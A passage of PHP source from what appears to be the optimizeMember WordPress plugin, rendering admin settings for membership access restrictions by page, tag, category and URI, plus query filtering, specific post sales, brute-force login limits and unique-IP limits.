do_action ("ws_plugin__optimizemember_during_res_ops_page_during_left_sections_before_page_level_access", get_defined_vars ());
/**/
echo '<div class="ws-menu-page-group" title="Page Access Restrictions">' . "\n";
/**/
echo '<div class="ws-menu-page-section ws-plugin--optimizemember-page-level-access-section">' . "\n";
echo '<h3>Page Level Access Restrictions ( optional )</h3>' . "\n";
echo '<p>Here you can specify Pages that are restricted to certain Membership Access Levels.</p>' . "\n";
//echo ((!is_multisite () || !c_ws_plugin__optimizemember_utils_conds::is_multisite_farm () || is_main_site ()) && !$GLOBALS["WS_PLUGIN__"]["wp_show_ids"]) ? '<p><em><strong>*Tip*</strong> Can\'t find your Page IDs? Get <a href="http://wordpress.org/extend/plugins/wp-show-ids/" target="_blank" rel="external">WP Show IDs</a>.</em></p>' . "\n" : '';
do_action ("ws_plugin__optimizemember_during_res_ops_page_during_left_sections_during_page_level_access", get_defined_vars ());
/**/
echo '<table class="form-table">' . "\n";
echo '<tbody>' . "\n";
/**/
for ($n = 0; $n <= $GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["levels"]; $n++)
{
$labelText = ws_plugin__optimizemember_getMembershipLabel($n);
echo '<tr>' . "\n";
/**/
echo '<th>' . "\n";
echo '<label for="ws-plugin--optimizemember-level' . $n . '-pages">' . "\n";
echo ($n === $GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["levels"]) ? 'Pages That Require Highest Level ' . $labelText . ':' . "\n" : 'Pages That Require Level ' . $labelText . ' Or Higher:' . "\n";
echo '</label>' . "\n";
echo '</th>' . "\n";
/**/
echo '</tr>' . "\n";
echo '<tr>' . "\n";
/**/
echo '<td>' . "\n";
echo '<input type="text" autocomplete="off" name="ws_plugin__optimizemember_level' . $n . '_pages" id="ws-plugin--optimizemember-level' . $n . '-pages" value="' . format_to_edit ($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["level" . $n . "_pages"]) . '" /><br />' . "\n";
echo 'Page IDs in comma-delimited format. Example: <code>1,2,3,34,8,21</code> — or you can type: <code>all</code>.' . "\n";
echo '</td>' . "\n";
/**/
echo '</tr>' . "\n";
}
/**/
echo '</tbody>' . "\n";
echo '</table>' . "\n";
echo '</div>' . "\n";
/**/
echo '</div>' . "\n";
/**/
do_action ("ws_plugin__optimizemember_during_res_ops_page_during_left_sections_after_page_level_access", get_defined_vars ());
}
/**/
if (apply_filters ("ws_plugin__optimizemember_during_res_ops_page_during_left_sections_display_tag_level_access", true, get_defined_vars ()))
{
do_action ("ws_plugin__optimizemember_during_res_ops_page_during_left_sections_before_tag_level_access", get_defined_vars ());
/**/
echo '<div class="ws-menu-page-group" title="Tag Access Restrictions">' . "\n";
/**/
echo '<div class="ws-menu-page-section ws-plugin--optimizemember-tag-level-access-section">' . "\n";
echo '<h3>Tag Level Access Restrictions ( optional )</h3>' . "\n";
echo '<p>Here you can specify Tags that are restricted to certain Membership Access Levels. This is very similar to Category Level Access. When you restrict access to a Tag Archive, it also restricts access to any Post having that Tag; even if a Post has other Tags. <em>*Tip*</em> ... Tags can be applied to any Post, without affecting your Category structure at all. If you\'d like to use Tags with Pages, get <a href="http://wordpress.org/extend/plugins/page-tagger/" target="_blank" rel="external">Page Tagger</a>.</p>' . "\n";
echo '<p>Tags are caSe sensitive. The Tag <code>members only</code> is NOT the same as <code>Members Only</code>.</p>' . "\n";
do_action ("ws_plugin__optimizemember_during_res_ops_page_during_left_sections_during_tag_level_access", get_defined_vars ());
/**/
echo '<table class="form-table">' . "\n";
echo '<tbody>' . "\n";
/**/
for ($n = 0; $n <= $GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["levels"]; $n++)
{
$labelText = ws_plugin__optimizemember_getMembershipLabel($n);
echo '<tr>' . "\n";
/**/
echo '<th>' . "\n";
echo '<label for="ws-plugin--optimizemember-level' . $n . '-ptags">' . "\n";
echo ($n === $GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["levels"]) ? 'Tags That Require Highest Level ' . $labelText . ':' . "\n" : 'Tags That Require Level ' . $labelText . ' Or Higher:' . "\n";
echo '</label>' . "\n";
echo '</th>' . "\n";
/**/
echo '</tr>' . "\n";
echo '<tr>' . "\n";
/**/
echo '<td>' . "\n";
echo '<input type="text" autocomplete="off" name="ws_plugin__optimizemember_level' . $n . '_ptags" id="ws-plugin--optimizemember-level' . $n . '-ptags" value="' . format_to_edit ($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["level" . $n . "_ptags"]) . '" /><br />' . "\n";
echo 'Tags in comma-delimited format. Example: ' . (($n === 0) ? '<code>free,subscribers only</code>' : '<code>members,members only</code>') . ' — or you can type: <code>all</code>.' . "\n";
echo '</td>' . "\n";
/**/
echo '</tr>' . "\n";
}
/**/
echo '</tbody>' . "\n";
echo '</table>' . "\n";
echo '</div>' . "\n";
/**/
echo '</div>' . "\n";
/**/
do_action ("ws_plugin__optimizemember_during_res_ops_page_during_left_sections_after_tag_level_access", get_defined_vars ());
}
/**/
if (apply_filters ("ws_plugin__optimizemember_during_res_ops_page_during_left_sections_display_category_level_access", true, get_defined_vars ()))
{
do_action ("ws_plugin__optimizemember_during_res_ops_page_during_left_sections_before_category_level_access", get_defined_vars ());
/**/
echo '<div class="ws-menu-page-group" title="Category Access Restrictions">' . "\n";
/**/
echo '<div class="ws-menu-page-section ws-plugin--optimizemember-category-level-access-section">' . "\n";
echo '<h3>Category Level Access Restrictions ( optional )</h3>' . "\n";
echo '<p>Here you can specify Categories that are restricted to certain Membership Access Levels. Category restrictions are a bit more complex. When you restrict access to a Category, it also restricts access to any child Categories it may have <em>( aka: sub-Categories )</em>. In other words, restricting a Category, protects a Category Archive, all of its child Category Archives, and any Posts contained within the Category, or its child Categories. This is a VERY powerful form of protection, so please be careful. It\'s very easy to protect too much content by accident.</p>' . "\n";
//echo ((!is_multisite () || !c_ws_plugin__optimizemember_utils_conds::is_multisite_farm () || is_main_site ()) && !$GLOBALS["WS_PLUGIN__"]["wp_show_ids"]) ? '<p><em><strong>*Tip*</strong> Can\'t find your Category IDs? Get <a href="http://wordpress.org/extend/plugins/wp-show-ids/" target="_blank" rel="external">WP Show IDs</a>.</em></p>' . "\n" : '';
do_action ("ws_plugin__optimizemember_during_res_ops_page_during_left_sections_during_category_level_access", get_defined_vars ());
/**/
echo '<table class="form-table">' . "\n";
echo '<tbody>' . "\n";
/**/
for ($n = 0; $n <= $GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["levels"]; $n++)
{
$labelText = ws_plugin__optimizemember_getMembershipLabel($n);
echo '<tr>' . "\n";
/**/
echo '<th>' . "\n";
echo '<label for="ws-plugin--optimizemember-level' . $n . '-catgs">' . "\n";
echo ($n === $GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["levels"]) ? 'Categories That Require Highest Level ' . $labelText . ':' . "\n" : 'Categories That Require Level ' . $labelText . ' Or Higher:' . "\n";
echo '</label>' . "\n";
echo '</th>' . "\n";
/**/
echo '</tr>' . "\n";
echo '<tr>' . "\n";
/**/
echo '<td>' . "\n";
echo '<input type="text" autocomplete="off" name="ws_plugin__optimizemember_level' . $n . '_catgs" id="ws-plugin--optimizemember-level' . $n . '-catgs" value="' . format_to_edit ($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["level" . $n . "_catgs"]) . '" /><br />' . "\n";
echo 'Category IDs in comma-delimited format. Example: <code>1,2,3,34,8,21</code> — or you can type: <code>all</code>.' . "\n";
echo '</td>' . "\n";
/**/
echo '</tr>' . "\n";
/**/
echo '<tr>' . "\n";
}
/**/
echo '</tbody>' . "\n";
echo '</table>' . "\n";
echo '</div>' . "\n";
/**/
echo '</div>' . "\n";
/**/
do_action ("ws_plugin__optimizemember_during_res_ops_page_during_left_sections_after_category_level_access", get_defined_vars ());
}
/**/
if (apply_filters ("ws_plugin__optimizemember_during_res_ops_page_during_left_sections_display_uri_level_access", true, get_defined_vars ()))
{
do_action ("ws_plugin__optimizemember_during_res_ops_page_during_left_sections_before_uri_level_access", get_defined_vars ());
/**/
echo '<div class="ws-menu-page-group" title="URI Restrictions ( typical w/BuddyPress )">' . "\n";
/**/
echo '<div class="ws-menu-page-section ws-plugin--optimizemember-uri-level-access-section">' . "\n";
echo '<h3>URI Level Access Restrictions ( optional )</h3>' . "\n";
echo '<p>Here you can specify URIs <em>( or word fragments found in URIs )</em> that are restricted to certain Membership Access Levels. Control over URIs is a little more complex. This section is intended for advanced webmasters only. That being said, here are the basics... A <code>REQUEST_URI</code>, is the portion of a <code>URL</code> that comes immediately after the domain. This is a URL <code>http://www.example.com/path/to/file.php</code>, and this is the URI: <code>/path/to/file.php</code>. In other words, a <code>REQUEST_URI</code> is the full path to a real <em>( or virtual )</em> directory and/or file on your domain.</p>' . "\n";
echo '<p>In the fields below, you can provide a list <em>( one per line )</em> of URIs on your site that should be off-limits based on Membership Level. You can also use word fragments instead of a full URI. If a word fragment is found anywhere in the URI, it will be protected. Wildcards and other regex patterns are NOT supported here, and therefore you don\'t need to escape special characters or anything. Please note, these ARE caSe sensitive. You must be specific with respect to case sensitivity. The word fragment <code>some-path/</code> would NOT match a URI that contains <code>some-Path/</code>. <em>A few <a href="#" onclick="alert(\'URI Replacement Codes:\\n\\n%%current_user_login%% = The current User\\\'s Username, lowercase.\\n%%current_user_id%% = The current User\\\'s ID.\\n%%current_user_level%% = The current User\\\'s optimizeMember Level.\\n%%current_user_role%% = The current User\\\'s WordPress Role.' . ((!is_multisite () || !c_ws_plugin__optimizemember_utils_conds::is_multisite_farm () || is_main_site ()) ? '\\n%%current_user_ccaps%% = The current User\\\'s Custom Capabilities.' : '') . '\\n%%current_user_logins%% = Number of times the current User has logged in.\\n\\nFor example, if you\\\'re using BuddyPress, and want to protect BuddyPress Groups, you could add URI protection, like this: /members/%%current_user_login%%/groups/\'); return false;">Replacement Codes</a> are also supported here.</em></p>' . "\n";
echo '<p><em><strong>*BuddyPress ( and similar )*</strong> URI Restrictions work great with plugins like BuddyPress that add new areas to your site ( where those new areas are NOT necessarily a Post/Page/Tag/Category ). In other words, anytime you\'d like to protect a specific feature offered by BuddyPress ( or other plugins ), you\'ll need to nail down specific word fragments found in the URIs associated with those areas. For instance, with BuddyPress you might have: [ <a href="#" onclick="alert(\'/members/\\n/groups/\\n/blogs/\\n/activity/\\n/messages/\\n/profile/\\n/friends/\\n/settings/\'); return false;">click for example</a> ].</em></p>' . "\n";
do_action ("ws_plugin__optimizemember_during_res_ops_page_during_left_sections_during_uri_level_access", get_defined_vars ());
/**/
echo '<table class="form-table">' . "\n";
echo '<tbody>' . "\n";
/**/
for ($n = 0; $n <= $GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["levels"]; $n++)
{
$labelText = ws_plugin__optimizemember_getMembershipLabel($n);
echo '<tr>' . "\n";
/**/
echo '<th>' . "\n";
echo '<label for="ws-plugin--optimizemember-level' . $n . '-ruris">' . "\n";
echo ($n === $GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["levels"]) ? 'URIs That Require Highest Level ' . $labelText . ':' . "\n" : 'URIs That Require Level ' . $labelText . ' Or Higher:' . "\n";
echo '</label>' . "\n";
echo '</th>' . "\n";
/**/
echo '</tr>' . "\n";
echo '<tr>' . "\n";
/**/
echo '<td>' . "\n";
echo '<textarea name="ws_plugin__optimizemember_level' . $n . '_ruris" id="ws-plugin--optimizemember-level' . $n . '-ruris" rows="3" wrap="off" spellcheck="false">' . format_to_edit ($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["level" . $n . "_ruris"]) . '</textarea><br />' . "\n";
echo 'URIs and/or word fragments found in URIs. One per line please.' . "\n";
echo '</td>' . "\n";
/**/
echo '</tr>' . "\n";
}
/**/
echo '</tbody>' . "\n";
echo '</table>' . "\n";
echo '</div>' . "\n";
/**/
echo '</div>' . "\n";
/**/
do_action ("ws_plugin__optimizemember_during_res_ops_page_during_left_sections_after_uri_level_access", get_defined_vars ());
}
/**/
if (apply_filters ("ws_plugin__optimizemember_during_res_ops_page_during_left_sections_display_query_level_access", true, get_defined_vars ()))
{
do_action ("ws_plugin__optimizemember_during_res_ops_page_during_left_sections_before_query_level_access", get_defined_vars ());
/**/
echo '<div class="ws-menu-page-group" title="Alternative View Protection ( please read )">' . "\n";
/**/
echo '<div class="ws-menu-page-section ws-plugin--optimizemember-query-level-access-section">' . "\n";
echo '<h3>Alternative View Protection ( optional / experimental )</h3>' . "\n";
echo '<p>optimizeMember protects Categories, Tags, Posts, Pages, Files, URIs & more. BUT, even with all of those security restrictions, it\'s still possible for protected content excerpts to be seen through XML feeds, in search results generated by WordPress; and/or <em>( depending on your theme )</em>, possibly in other Archive views; which might include: Posts by Author, Posts by Date, a list of featured items formulated by your theme, OR even through other widgets/plugins adding functionality to your site. ~ We refer to all of these collectively, as "Alternative Views".</p>' . "\n";
echo '<p>Using the options below, you can tell optimizeMember to protect some <em>( or all )</em> of these "Alternative Views", by filtering WordPress database queries for you. optimizeMember can automatically hide protected content that is NOT available to the current User/Member. In other words, optimizeMember is capable of pre-filtering ALL database queries, so that excerpts of protected content will not be allowed to slip through. This is marked "experimental", because we\'re still testing this against MANY widget/plugin/theme combinations.</p>' . "\n";
do_action ("ws_plugin__optimizemember_during_res_ops_page_during_left_sections_during_uri_level_access", get_defined_vars ());
/**/
echo '<table class="form-table">' . "\n";
echo '<tbody>' . "\n";
echo '<tr>' . "\n";
/**/
echo '<th>' . "\n";
echo '<label for="ws-plugin--optimizemember-filter-wp-query">' . "\n";
echo 'Protect Alternative Views?' . "\n";
echo '</label>' . "\n";
echo '</th>' . "\n";
/**/
echo '</tr>' . "\n";
echo '<tr>' . "\n";
/**/
echo '<td>' . "\n";
echo '<div class="ws-menu-page-scrollbox" style="height:105px;">' . "\n";
echo '<input type="hidden" name="ws_plugin__optimizemember_filter_wp_query[]" value="update-signal" />' . "\n";
foreach (array ("all" => "<strong>Filter ALL WordPress queries</strong>; protecting all Alternative Views.", "searches" => "└─ Searches ( hide protected content in search results )", "feeds" => "└─ Feeds ( hide protected content in standard XML/RSS/ATOM feeds )", "comment-feeds" => "└─ Comment Feeds ( hide comments associated with protected content, in comment feeds )", "nav-menus" => "└─ Nav Menus ( hide protected content in menus generated with <em>WordPress -> Appearance -> Menus</em> )") as $ws_plugin__optimizemember_temp_s_value => $ws_plugin__optimizemember_temp_s_label)
echo '<input type="checkbox" name="ws_plugin__optimizemember_filter_wp_query[]" id="ws-plugin--optimizemember-filter-wp-query-' . esc_attr (preg_replace ("/[^a-z0-9_\-]/", "-", $ws_plugin__optimizemember_temp_s_value)) . '" value="' . esc_attr ($ws_plugin__optimizemember_temp_s_value) . '"' . ((in_array ($ws_plugin__optimizemember_temp_s_value, $GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["filter_wp_query"])) ? ' checked="checked"' : '') . ' /> <label for="ws-plugin--optimizemember-filter-wp-query-' . esc_attr (preg_replace ("/[^a-z0-9_\-]/", "-", $ws_plugin__optimizemember_temp_s_value)) . '">' . $ws_plugin__optimizemember_temp_s_label . '</label><br />' . "\n";
echo '</div>' . "\n";
echo '<strong>Attn Developers:</strong> Filters can be suppressed dynamically, using this technique:<br />' . "\n";
echo '<code><a href="http://codex.wordpress.org/Function_Reference/query_posts" target="_blank" rel="external">query_posts</a>("suppress_filters=true");</code><br />' . "\n";
echo '<code><a href="http://codex.wordpress.org/Function_Reference/get_posts" target="_blank" rel="external">get_posts</a>()</code> auto-suppresses filters.<br />' . "\n";
//echo 'Also see <a href="http://www.optimizepress.com/codex/stable/s2member/api_functions/package-functions/#src_doc_attach_optimizemember_query_filters()" target="_blank" rel="external">this article</a> in the optimizeMember Codex.' . "\n";
echo '</td>' . "\n";
/**/
echo '</tr>' . "\n";
echo '</tbody>' . "\n";
echo '</table>' . "\n";
echo '</div>' . "\n";
/**/
echo '</div>' . "\n";
/**/
do_action ("ws_plugin__optimizemember_during_res_ops_page_during_left_sections_after_query_level_access", get_defined_vars ());
}
/**/
if (apply_filters ("ws_plugin__optimizemember_during_res_ops_page_during_left_sections_display_sp_access", true, get_defined_vars ()))
{
do_action ("ws_plugin__optimizemember_during_res_ops_page_during_left_sections_before_sp_access", get_defined_vars ());
/**/
echo '<div class="ws-menu-page-group" title="Specific Post/Page Access Restrictions">' . "\n";
/**/
echo '<div class="ws-menu-page-section ws-plugin--optimizemember-sp-access-section">' . "\n";
echo '<h3>Specific Post/Page Access Restrictions ( optional )</h3>' . "\n";
echo '<p>optimizeMember now supports an additional layer of functionality <em>( very powerful )</em>, which allows you to sell access to specific Posts/Pages that you\'ve created in WordPress. Specific Post/Page Access works independently from Member Level Access. That is, you can sell an unlimited number of Posts/Pages using "Buy Now" Buttons, and your Customers will NOT be required to have a Membership Account with your site in order to receive access. If they are already a Member, that\'s fine, but they won\'t need to be.</p>' . "\n";
echo '<p>In other words, Customers will NOT need to login, just to receive access to the Specific Post/Page they purchased access to. optimizeMember will immediately redirect the Customer to the Specific Post/Page after checkout is completed successfully. An email is also sent to the Customer with a link ( see: <code>optimizeMember -> PayPal Options -> Specific Post/Page Email</code> ). Authentication is handled automatically through self-expiring links, good for 72 hours by default.</p>' . "\n";
echo '<p>Specific Post/Page Access, is sort of like selling a product. Only, instead of shipping anything to the Customer, you just give them access to a specific Post/Page on your site; one that you created in WordPress. A Specific Post/Page that is protected by optimizeMember, might contain a download link for your eBook, access to file & music downloads, access to additional support services, and the list goes on and on. The possibilities with this are endless; as long as your digital product can be delivered through access to a WordPress Post/Page that you\'ve created.</p>' . "\n";
echo '<p>Very simple. All you do is protect the Specific Post/Page IDs that are being sold on your site. Then, you can go to <code>optimizeMember -> PayPal Buttons -> Specific Post/Page</code> to generate "Buy Now" Buttons that you can insert into your WordPress Editor, and make available on your site. The Button Generator for optimizeMember, will even let you Package Additional Posts/Pages together into one transaction.</p>' . "\n";
//echo ((!is_multisite () || !c_ws_plugin__optimizemember_utils_conds::is_multisite_farm () || is_main_site ()) && !$GLOBALS["WS_PLUGIN__"]["wp_show_ids"]) ? '<p><em><strong>*Tip*</strong> Can\'t find your Post/Page IDs? Get <a href="http://wordpress.org/extend/plugins/wp-show-ids/" target="_blank" rel="external">WP Show IDs</a>.</em></p>' . "\n" : '';
do_action ("ws_plugin__optimizemember_during_res_ops_page_during_left_sections_during_sp_access", get_defined_vars ());
/**/
echo '<table class="form-table">' . "\n";
echo '<tbody>' . "\n";
echo '<tr>' . "\n";
/**/
echo '<th>' . "\n";
echo '<label for="ws-plugin--optimizemember-specific-ids">' . "\n";
echo 'Specific Post/Page IDs Being Sold On Your Site:' . "\n";
echo '</label>' . "\n";
echo '</th>' . "\n";
/**/
echo '</tr>' . "\n";
echo '<tr>' . "\n";
/**/
echo '<td>' . "\n";
echo '<input type="text" autocomplete="off" name="ws_plugin__optimizemember_specific_ids" id="ws-plugin--optimizemember-specific-ids" value="' . format_to_edit ($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["specific_ids"]) . '" /><br />' . "\n";
echo 'Post/Page IDs in comma-delimited format. Example: <code>1,2,3,34,8,21</code> * Note... the word <code>all</code> does NOT work here. Also, please be careful not to create a conflict with other Access Restrictions. If you are going to sell Specific Post/Page Access, you should enter specific Post/Page IDs here; and <strong>make SURE that you\'ve NOT already protected any of these Posts/Pages with Member Level Access Restrictions</strong>. In other words, if you configure optimizeMember, in such as a way, that a Post/Page requires Membership Level Access, you cannot sell that same Post/Page through Specific Post/Page Access. Doing so, would create a conflict. Customers that purchased Specific Post/Page Access, would be unable to access the Post/Page - without also having a Membership. Not good. So please be careful.' . "\n";
echo '</td>' . "\n";
/**/
echo '</tr>' . "\n";
echo '</tbody>' . "\n";
echo '</table>' . "\n";
echo '</div>' . "\n";
/**/
echo '</div>' . "\n";
/**/
do_action ("ws_plugin__optimizemember_during_res_ops_page_during_left_sections_after_sp_access", get_defined_vars ());
}
/**/
if (apply_filters ("ws_plugin__optimizemember_during_res_ops_page_during_left_sections_display_brute_force_restrictions", true, get_defined_vars ()))
{
do_action ("ws_plugin__optimizemember_during_res_ops_page_during_left_sections_before_brute_force_restrictions", get_defined_vars ());
/**/
echo '<div class="ws-menu-page-group" title="Brute Force IP/Login Restrictions">' . "\n";
/**/
echo '<div class="ws-menu-page-section ws-plugin--optimizemember-brute-force-restrictions-section">' . "\n";
echo '<h3>Brute Force IP/Login Restrictions ( prevents username/password guessing )</h3>' . "\n";
echo '<input type="button" id="ws-plugin--optimizemember-brute-force-restrictions-reset-button" value="Reset Brute Force Logs" class="ws-menu-page-right button" style="min-width:175px;" />' . "\n";
echo '<p>As with any Membership system, it is possible for someone to try and guess Username/Password combinations by attempting a <a href="http://en.wikipedia.org/wiki/Brute-force_attack" target="_blank" rel="external">Brute Force Attack</a>; whereby multiple/repeated logins are strategically attempted with various Username/Password combinations until a correct guess is made. It is NOT likely that you\'ll be attacked in this way, but it\'s still a good idea to protect your system; just in case somebody tries this. optimizeMember thwarts this behavior by monitoring failed login attempts that occur within a short period of time. Whenever optimizeMember detects an IP address <em>( i.e. a remote user )</em> that is consistently failing to enter a valid Username/Password, a temporary ban is created; preventing additional attempts from taking place for 30 minutes. This temporary ban, will ONLY affect the offending IP address.</p>' . "\n";
echo '<p><em>*Note* an empty IP address ( associated with someone browsing anonymously ), is also considered a unique IP address, so it cannot circumvent optimizeMember\'s security.</em></p>' . "\n";
do_action ("ws_plugin__optimizemember_during_res_ops_page_during_left_sections_during_ip_restrictions", get_defined_vars ());
/**/
echo '<table class="form-table">' . "\n";
echo '<tbody>' . "\n";
echo '<tr>' . "\n";
/**/
echo '<th>' . "\n";
echo '<label for="ws-plugin--optimizemember-max-failed-login-attempts">' . "\n";
echo 'Maximum Failed Login Attempts:' . "\n";
echo '</label>' . "\n";
echo '</th>' . "\n";
/**/
echo '</tr>' . "\n";
echo '<tr>' . "\n";
/**/
echo '<td>' . "\n";
echo '<select name="ws_plugin__optimizemember_max_failed_login_attempts" id="ws-plugin--optimizemember-max-failed-login-attempts">' . "\n";
$ws_plugin__optimizemember_temp_s = apply_filters ("ws_plugin__optimizemember_track_failed_logins__exp_time", "30 minutes");
echo '<option value="1"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_failed_login_attempts"] == 1) ? ' selected="selected"' : '') . '>Allow 1 failed login attempt ( then punish for ' . $ws_plugin__optimizemember_temp_s . ' )</option>' . "\n";
echo '<option value="2"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_failed_login_attempts"] == 2) ? ' selected="selected"' : '') . '>Allow 2 failed login attempts ( then punish for ' . $ws_plugin__optimizemember_temp_s . ' )</option>' . "\n";
echo '<option value="3"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_failed_login_attempts"] == 3) ? ' selected="selected"' : '') . '>Allow 3 failed login attempts ( then punish for ' . $ws_plugin__optimizemember_temp_s . ' )</option>' . "\n";
echo '<option value="4"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_failed_login_attempts"] == 4) ? ' selected="selected"' : '') . '>Allow 4 failed login attempts ( then punish for ' . $ws_plugin__optimizemember_temp_s . ' )</option>' . "\n";
echo '<option value="5"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_failed_login_attempts"] == 5) ? ' selected="selected"' : '') . '>Allow 5 failed login attempts ( then punish for ' . $ws_plugin__optimizemember_temp_s . ' )</option>' . "\n";
echo '<option value="10"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_failed_login_attempts"] == 10) ? ' selected="selected"' : '') . '>Allow 10 failed login attempts ( then punish for ' . $ws_plugin__optimizemember_temp_s . ' )</option>' . "\n";
echo '<option value="20"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_failed_login_attempts"] == 20) ? ' selected="selected"' : '') . '>Allow 20 failed login attempts ( then punish for ' . $ws_plugin__optimizemember_temp_s . ' )</option>' . "\n";
echo '<option value="30"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_failed_login_attempts"] == 30) ? ' selected="selected"' : '') . '>Allow 30 failed login attempts ( then punish for ' . $ws_plugin__optimizemember_temp_s . ' )</option>' . "\n";
echo '<option value="40"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_failed_login_attempts"] == 40) ? ' selected="selected"' : '') . '>Allow 40 failed login attempts ( then punish for ' . $ws_plugin__optimizemember_temp_s . ' )</option>' . "\n";
echo '<option value="50"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_failed_login_attempts"] == 50) ? ' selected="selected"' : '') . '>Allow 50 failed login attempts ( then punish for ' . $ws_plugin__optimizemember_temp_s . ' )</option>' . "\n";
echo '<option value="75"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_failed_login_attempts"] == 75) ? ' selected="selected"' : '') . '>Allow 75 failed login attempts ( then punish for ' . $ws_plugin__optimizemember_temp_s . ' )</option>' . "\n";
echo '<option value="100"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_failed_login_attempts"] == 100) ? ' selected="selected"' : '') . '>Allow 100 failed login attempts ( then punish for ' . $ws_plugin__optimizemember_temp_s . ' )</option>' . "\n";
echo '<option value="0"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_failed_login_attempts"] == 0) ? ' selected="selected"' : '') . '>Allow infinite failed logins ( Brute Force Restrictions disabled )</option>' . "\n";
echo '</select><br />' . "\n";
echo 'When/if you change this, you should also <strong>Reset Brute Force Logs</strong> ( click button above ).' . "\n";
echo (!is_multisite () || !c_ws_plugin__optimizemember_utils_conds::is_multisite_farm () || is_main_site ()) ? '<br /><br />The default period of "30 minutes" could be modified through this WordPress Filter:<br /><code>ws_plugin__optimizemember_track_failed_logins__exp_time</code>' . "\n" : '';
echo '</td>' . "\n";
/**/
echo '</tr>' . "\n";
echo '</tbody>' . "\n";
echo '</table>' . "\n";
echo '</div>' . "\n";
/**/
echo '</div>' . "\n";
/**/
do_action ("ws_plugin__optimizemember_during_res_ops_page_during_left_sections_after_ip_restrictions", get_defined_vars ());
}
/**/
if (apply_filters ("ws_plugin__optimizemember_during_res_ops_page_during_left_sections_display_ip_restrictions", true, get_defined_vars ()))
{
do_action ("ws_plugin__optimizemember_during_res_ops_page_during_left_sections_before_ip_restrictions", get_defined_vars ());
/**/
echo '<div class="ws-menu-page-group" title="Unique IP Access Restrictions">' . "\n";
/**/
echo '<div class="ws-menu-page-section ws-plugin--optimizemember-ip-restrictions-section">' . "\n";
echo '<h3>Unique IP Access Restrictions ( prevents username/link sharing )</h3>' . "\n";
echo '<input type="button" id="ws-plugin--optimizemember-ip-restrictions-reset-button" value="Reset IP Restriction Logs" class="ws-menu-page-right button" style="min-width:175px;" />' . "\n";
echo '<p>As with any Membership system, it is possible for one Member to signup, and then share their Username with someone else; or even post it online for the whole world to see. This is known as Link Sharing <em>( aka: Username Sharing )</em>. It is NOT likely that you\'ll be attacked in this way, but it\'s still a good idea to protect your system; just in case somebody tries this. optimizeMember\'s IP Restrictions work for Membership Level Access <em>( account logins )</em>, Specific Post/Page Access, Registration Links, and other secure Entry Points. In all cases, the rules are simple. A single Username, Access Link, and/or Entry Point ... is only valid for a certain number of unique IP addresses. Once that limit is reached, optimizeMember assumes there has been a security breach. At that time, optimizeMember will place a temporary ban <em>( preventing access )</em> to a Specific Post/Page, or to an account associated with a particular Username. This temporary ban, will ONLY affect the offending Link and/or Username associated with the security breach. You can fine-tune this behavior, using the options below.</p>' . "\n";
echo '<p><em>*Note* an empty IP address ( associated with someone browsing anonymously ), is also considered a unique IP address, so it cannot circumvent optimizeMember\'s security.</em></p>' . "\n";
do_action ("ws_plugin__optimizemember_during_res_ops_page_during_left_sections_during_ip_restrictions", get_defined_vars ());
/**/
echo '<table class="form-table">' . "\n";
echo '<tbody>' . "\n";
echo '<tr>' . "\n";
/**/
echo '<th>' . "\n";
echo '<label for="ws-plugin--optimizemember-max-ip-restriction">' . "\n";
echo 'Maximum Unique IP Addresses Allowed:' . "\n";
echo '</label>' . "\n";
echo '</th>' . "\n";
/**/
echo '</tr>' . "\n";
echo '<tr>' . "\n";
/**/
echo '<td>' . "\n";
echo '<select name="ws_plugin__optimizemember_max_ip_restriction" id="ws-plugin--optimizemember-max-ip-restriction">' . "\n";
$ws_plugin__optimizemember_temp_s = apply_filters ("ws_plugin__optimizemember_ip_restrictions__concurrency_time_per_ip", "30 days");
echo '<option value="1"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_ip_restriction"] == 1) ? ' selected="selected"' : '') . '>Allow up to 1 unique IP per Customer ( every ' . $ws_plugin__optimizemember_temp_s . ' )</option>' . "\n";
echo '<option value="2"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_ip_restriction"] == 2) ? ' selected="selected"' : '') . '>Allow up to 2 different IPs per Customer ( every ' . $ws_plugin__optimizemember_temp_s . ' )</option>' . "\n";
echo '<option value="3"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_ip_restriction"] == 3) ? ' selected="selected"' : '') . '>Allow up to 3 different IPs per Customer ( every ' . $ws_plugin__optimizemember_temp_s . ' )</option>' . "\n";
echo '<option value="4"' . (($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["max_ip_restriction"] == 4) ? ' selected="selected"' : '') . '>Allow up to 4 different IPs per Customer ( every ' . $ws_plugin__optimizemember_temp_s . ' )</option>' . "\n";
